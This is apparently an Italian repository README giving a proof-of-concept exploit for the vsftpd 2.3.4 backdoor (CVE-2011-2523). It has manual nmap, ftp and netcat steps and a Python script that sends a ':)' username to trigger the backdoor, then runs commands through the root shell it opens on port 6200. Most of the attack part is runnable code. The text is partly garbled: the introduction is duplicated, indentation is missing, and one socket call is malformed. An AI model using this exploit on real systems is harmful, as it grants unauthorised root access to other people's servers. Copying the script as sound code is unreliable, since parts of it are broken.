
vsftpd 2.3.4 (CVE-2011-2523) una vulnerabilità critica che porta a Reverse Root Shell. In questo repository farò un PoC su come sfruttarla passo dopo passo, Manualmente e Automaticamente (Python) per scopi educativi.
vsftpd 2.3.4 (CVE-2011-2523) una vulnerabilità critica che porta a una Root Shell. In questo repo farò un PoC su come sfruttarla passo dopo passo, Manualmente & Automaticamente (Python) per scopi educativi.
Di cosa tratta la vulnerabilità ?
Prima di tutto, è uno sfruttamento lato servizio, quindi lo sfrutteremo da remoto. L'idea è che quando ti connetti al servizio FTP sulla porta 21 di default usando un nome utente contenente :), si attiva il sistema per aprire una porta TCP 6200 con una Root Shell, quindi chiunque può connettersi e avere accesso Root al server target, il che è un disastro. Quindi facciamolo praticamente passo dopo passo. Lo spiegherò prima manualmente per avere l'idea completa, poi c'è uno script Python per sfruttarlo automaticamente.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
La porta 6200 ora è aperta, quindi questa è la nostra backdoor
nc -nv Target_IP 6200
Finalmente, abbiamo una Root Shell sulla macchina target.

Dopo averlo fatto manualmente, conosciamo i passaggi dello sfruttamento:
:) per attivare il backdoor.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()